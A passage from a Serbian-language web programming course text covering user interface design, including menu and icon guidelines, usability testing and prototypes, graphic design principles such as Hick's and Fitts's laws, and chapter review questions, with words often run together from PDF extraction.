Smernice za oblikovanje menijaLinija menija sluzi za prepoznavanje i pristupanje uobicajenim i cesto koriscenimaktivnostima. Povlaceci meniji (pull-down) sluzi za cesto koriscene akcije koje sekoriste u mnogim prozorima. Kaskadni meniji sluze za pojednostavljivanje menijavisokog nivoa. Padajuci meni (pop-up) za stalne korisnike i akcije koje se cestokoriste u nekom kontekstu. Pomerljiv meni (tear-off) za stavke koje se nekadacesto upotrebljavaju. Koristiti meni sa ikonicama za predstavljanje dostupnihaplikacija i posebnih funkcija u aplikacijama.

Dalje, bitan je izbor odgovarajuceg uredaja - tastatura, mis, palica za igre, track-ball, graficka tabla, svetlosna olovka, ekrani osetljivi na dodir, glas. Takode jebitan izbor vizualne kontrole - dugme, unos teksta / tekstualni zapis, grupne kon-trole, stavke za izbor opcija, posebne specijalizovane kontrole, posebno razvijenekontrole.

Pisati jasan tekst i poruke. Ne koristiti zargone, skracenice i isprekidane reci.Umesto toga koristiti: kratke reci, poznate reci, potvrdne reci, cele reci, doslednereci.

Obezbediti odzivnost - navoditi instrukcije ili ukazati na ocekivanu aktivnost. Na-praviti podsistem za pomoc korisniku - pomoc u kontekstu, pomoc pri obavljanjuposla, referentno uputstvo, carobnjaci, saveti ili napomene.

Praviti smislene ikonice. Ikonice moraju biti poznate, jasne i citke, jednostavne,dosledne, neposredne, efikasne, dovoljno razlicite. Ako je moguce, koristiti po-stojece slike. Koristiti slike za imenice, a ne za glagole. Koristiti uobicajene slikei simbole. Uzimati u obzir kulturne i socijalne obicaje korisnika.


Boje dodaju novu dimenziju i realizam upotrebi ekrana, privlace paznju. Akose dobro koriste, mogu da istaknu logicku organizaciju informacija, olaksaju razli-kovanje elemenata ekrana, naglase razlike medu elementima ekrana, ucine prikazinteresantnijim. Ako se lose koriste, mogu da skrecu paznju, otezavaju sagledava-nje celine, zbunjuju ili zamaraju.

Prozori i strane moraju da budu rasporedeni razumljivo i efikasno, grupisani, po-ravnati i u ravnotezi.

13.1.6 Testiranje interfejsa

Razvijaoci i korisnici imaju razlicito shvatanje problema. Intuicija razvijaocanije uvek ispravna. Ne postoji prosecan korisnik”. Nemoguce je predvideti upo-trebljivost na osnovu izgleda ekrana. Standardi i smernice za oblikovanje nisudovoljni. Neformale reakcije korisnika nisu dovoljne. Proizvodi koji se prave podelovima, skoro uvek imaju nedoslednosti na nivou sistema. Problemi koji se uocekasnije bice skuplji za otklanjanje. Problemi koji se otklone tokom razvoja sma-njuju troskove odrzavanja. Testiranjem se sticu prednosti u odnosu na konkurentneproizvode.

Da bi se sprovelo testiranje, potrebno je prepoznati svrhu i obim testiranja, razu-meti znacaj testiranja, napraviti prototip, napraviti plan testiranja, oblikovati testtako da proizvede relevantne podatke, zahtevati od korisnika da ucestvuju (biratiih i praviti im raspored testiranja), obezbediti uslove za testiranje, provesti testovei prikupiti podatke, analizirati podatke i napraviti preporuke u vezi dizajna, iz-meniti prototip koliko je potrebno, ponoviti testiranje i proceniti funkcionalnostsistema.

Vrste prototipovaU prototipove ubrajamo: skice i scenarija (okvirno, crtano rukom), interaktivnipapir (dizajner i korisnici) i programirana fasada interfejsa (nalik na konacnoresenje”, ali bez funkcionalnosti; naziva se i puni prototip”).

Vrste testovaTestovi su alati koji sluze da se nesto izmeri, npr. saglasnost sa zahtevima, sagla-snost sa smernicama dobrog dizajna, prisustvo problema u dizajnu, lakoca ucenja,trajanje naucenih znanja, brzina obavljanja poslova, brzina zadovoljavanja ciljeva,ucestalost gresaka, subjektivno zadovoljstvo korisnika itd. Obicno su formalneprirode - prave se namerno i sa jasnom namerom. Obicno pocivaju na nekoj pret-postavci sta bi dobar dizajn trebalo da predstavlja.


Tehnike testiranja: proveravanje smernica, heuristicko procenjivanje, analitickoproveravanje, razmisljanje naglas, klasicni eksperimenti, ciljne grupe, temeljne pro-vere.

Testovi upotrebljivosti obuhvata procenjivanje interfejsa u realnim ili kontrolisa-nim uslovima. Korisnici obavljaju zadate odredene poslove, mere se performanse,a rezultati se porede sa prethodno definisanm ciljevima.

Plan testiranja: definisati obim, namenu i metodologiju, zatim izabrati i re-zervisati mesto testiranja, izabrati i pripremiti populaciju za testiranje, i na-praviti scenarije testiranja tako da se zadovolje ciljevi i potrebe testiranja.

Korisnicki interfejs je jedan od najvaznijih elemenata sistema. Mora se nepre-kidno procenjivati da bi interfejs zadovoljio postavljene ciljeve i potrebe korisnika.

13.2 Dizajn korisnickog interfejsa

Vizualni dizajn ima veliki uticaj na prihvatanje interfejsa od strane korisnika.To je sredstvo, a ne cilj. Ciljevi su visok nivo upotrebljivosti, efikasnost upotrebei prijatnost upotrebe. Cilj dizajnera je da svede na minimum broj potencijalnihpitanja korisnika. Nije dovoljno da se jasno vidi sadrzaj nego i interfejs. Da bise ostvarili ciljevi, koririsnicki interfejs mora da postuje neke principe. Razlicitiautori nude razlicite principe. Ovde cemo predstaviti neke razlicite poglede naproblem dizajna.

Princpiti iz ugla korisnikaDa bi dizajn ispunio ciljeve, mora biti prilagoden nacinu na koji korisnik razmislja.Principi oblikovanja interfejsa moraju se prilagoditi korisnicima. Veb korisnici sutezi od drugih vrsta korisnika, zato sto obicno nisu obavezni da koriste vasu apli-kaciju. Cene kvalitet i pouzdanost jer ako imaju poverenja u sadrzaje, tolerisaceslab dizajn. Ne citaju nego pregledaju - prvi (i najvazniji) utisak se stice povrsnimpregledanjem sadrzaja strane. Nestrpljivi su i traze brzo zadovoljenje, a ako nenaidu na brz odgovor na svoje zahteve, trazice drugo resenje. Cesto prave pogresanizbor, biraju ono sto im izgleda najvaznije, a ne ono sto jeste. Prate intuiciju i necitaju uputstva i ako interfejs odstupa, pravice greske.

Prinicipi iz ugla funkcionalnostiNe terati korisnika da razmislja vec napraviti sadrzaj i interfejs tako da budu ja-sni i ocigledni. Ne proveravati korisnikovo strpljenje, ne traziti od njega da radivise nego sto je neophodno i ne insistirati na ostavljanju mnogo podataka prenego sto oni budu potrebni. Usmeriti korisnikovu paznju - zadatak dizajna je daistakne primarne elemente. Istaci najvaznije funkcije jer korisnik mora da lakovidi sta moze ili mora da radi. Pisati kratko i jasno zato sto korisnici uglavnom

13.2. DIZAJN KORISNICKOG INTERFEJSA 129

nece citati dugacke tekstove. Teziti jednostavnosti, komplikovanjem se usporavarad. Ne plasiti se praznog prostora, pretrpan dizajn otezava sagledavanje eleme-nata. Saopstavati efikasno, vizualnim jezikom, koristiti poznata pravila dizajna(u nastavku). Biti dosledan - isti elementi moraju u citavoj aplikaciji imati istoznacenje. Testirati od pocetka i ucestalo jer svaka ideja u praksi moze da se pokazekao pogresna.

Principi iz ugla medijaPrincipi iz ugla medija su prilagodeni specificnostima Veba i grupisani su premaaspektu oblikovanja. Planiranje obuhvata procenu publike i ciljeva, potrebno jenapraviti plan glavnih stranica. Veb kao medij - omoguciti intuitivnu interakciju,izbegavati stranice koje sadrze samo tekst, ne zrtvovati eleganciju u jednostavnostradi atraktivnosti a svaki naveden URI mora da bude istovremeno i link. Prvastrana treba da sadrzi jasne i opisne naslove, kratak i informativan uvod, ucinitida bude sto korisnija. Organizacija stranice - teziti konzistentnosti, obezbeditiredundantnu navigaciju, ne skrivati vazne informacije. Dostupnost - tekst morada bude citljiv, Veb mora da bude nezavisan od platforme, razmatrati potrebe po-setilaca. Provere podrazumevaju stalno testiranje i proveravanje jezicke i stilskeispravnosti tekstova.

13.2.1 Principi grafickog dizajna

1. Razmotriti i ispostovati prioritete - prepoznati ciljeve i prioritete, istaci prio-ritete primenom osnovnih sredstava (oblik, polozaj, velicina, kontrast, boja,dizajn).

2. Rasporediti prazan prostor - prored izmedu linija i pasusa, razdvojenostelemenata dizajna, namerno ostavljen prazan prostor moze da koristi ali i dasteti.

3. Planirati navigaciju - orijentacija (gde se nalazimo), navigacija (gde mozemoda odemo).

4. Dizajnirati da bude ostvarivo. Dizajn mora da bude prilagoden realnosti.Prilagoditi razlicitim dimenzijama ekrana. Izbegavati tehnicki osetljive ele-mente. Ako male izmene mogu da znacajno pojednostave implementaciju,primeniti ih. Jednostavnost je posebno vazna za velike Veb lokacije i aplika-cije.

5. Tipografija je izuzetno vazna. Izbor oblika slova znacajno utice na vizualnidozivljaj i predstavlja jedan do glavnih stilskih elemenata. Velicina slovamora biti dovoljna da se tekst moze lako citati - vazna je dosledna propor-cionalnost upotrebljenih velicina, prostor izmedu slova, reci, linija i pasusa,duzina redova ne sme biti prevelika. Boja je veoma vazna jer nizak kontrast


moze da ulepsa ali i da oteza citanje. Obostrano poravnavanje daje lepsusliku, ali otezava citanje zbog neujednacenog prostora izmedu reci.

6. Upotrebljivost podrazumeva posvecenost standardima. Treba razmisljati odizajnu i sadrzaju iz ugla korisnika (prototipovi) i o poslu koji korisnik oba-vlja.

7. Urednost - elementi moraju biti poravnati, ali ne preko razumnih granica.Preterano poravnavanje smanjuje preglednost pa je potrebno razlikovati ele-mente sa razlicitim znacajem. Moze se dizajnirati prema matrici ali i mimonje.

8. Cistoca - razni oblici moraju biti jasno prepoznatljivi i izdvojeni. Pazljivoodredivati kontrast - neki elementi mogu da se stapaju, ali neki se morajujasno videti. Granice teksta se moraju jasno videti jer preterano isticanjeokvira moze biti neugodno.

9. Konzistentnost podrazumeva da sve mora da bude medusobno uskladeno(oblici i velicine slova, boje, stilovi linkova i drugih el. interfejsa). Konzi-stentnost je pokazatelj profesionalnosti. Koristiti sto vise osnovne oznake (p,h1, h2, h3, li, itd). Upotreba dobro oblikovanih stilova za osnovne oznake.

13.2.2 Neka pravila grafickog dizajna

1. Vizualna hijerarhija je jedan od najvaznijih principa koji kaze da najvisetreba istaci najvaznije elemente. Najpre se mora prepoznati cilj, pa tek ondanjemu prilagoditi dizajn.

2. Postovanje poznatih pravila proporcija - zlatni presek 1.618. Odgovara Fi-bonacijevom nizu.

3. Hikov zakon (Hick) - Svako prosirivanje izbora povecava vreme donosenjaodluke”. Potrebno je jasno istaci ocekivan izbor i omoguciti filtriranje sadrzaja.

4. Fitov zakon (Fitt) odnosi se na ljudsko kretanje ali i upotrebu korisnickoginterfejsa. Vreme da se brzo pride cilju zavisi od udaljenosti i velicine cilja.Pravilo velicine cilja, istaci najcesce ciljeve. Vise nego geometrijska promenavelicine linearno utice na znacajnost - 20% povecanja na malom elementuvise utice nego smanjivanje za 20% na velikom.

5. Pravilo trecina poznato je u fotografiji. Najvazniji elementi moraju da senalaze na linijama koje dele prostor na trecine i na njihovim presecima.

6. Gestalt” pravilo dizajna istice znacaj oblika i percepcije grupisanja. Bave sesklonoscu coveka da percipira celinu pre pojedinosti.

13.3. PITANJA 131

7. Prazan prostor i cist dizajn - prazan prostor je vazan cilinac ravnoteze ipruza cistocu dizajna.

8. Okamovo pravilo - najjednostavnije resenje je najbolje resenje, ono kojepociva na najmanje pretpostavki. Odnosi se i na izgled i na funkcionisa-nje.

13.3 Pitanja

13.1 Sta je neophodno za dobar korisnicki interfejs?

13.2 Navesti nekoliko (bar 7) smernica za proces oblikovanja korisnickog interfejsa.

13.3 Koje su osnovne koristi od dobrog dizajna korisnickog interfejsa?

13.4 Objasniti prednosti vizualnog korisnickog interfejsa u odnosu na komandnetekstualne interfejse.

13.5 Objasniti slabosti vizualnog korisnickog interfejsa u odnosu na komandnetekstualne interfejse.

13.6 Kako se meri upotrebljivost korisnickog interfejsa?

13.7 Koji su osnovni merljivi ciljevi oblikovanja korisnickog interfejsa?

13.8 Objasniti proces testiranja korisnickog interfejsa.

13.9 Objasniti nivoe integracije sadrzaja pri isporucivanju mesanih sadrzaja (mas-hup).

programiranje za veb (skripta) - nikolaajzenhamer.rsnikolaajzenhamer.rs/pdf/pveb skripta.pdf ·...

Documents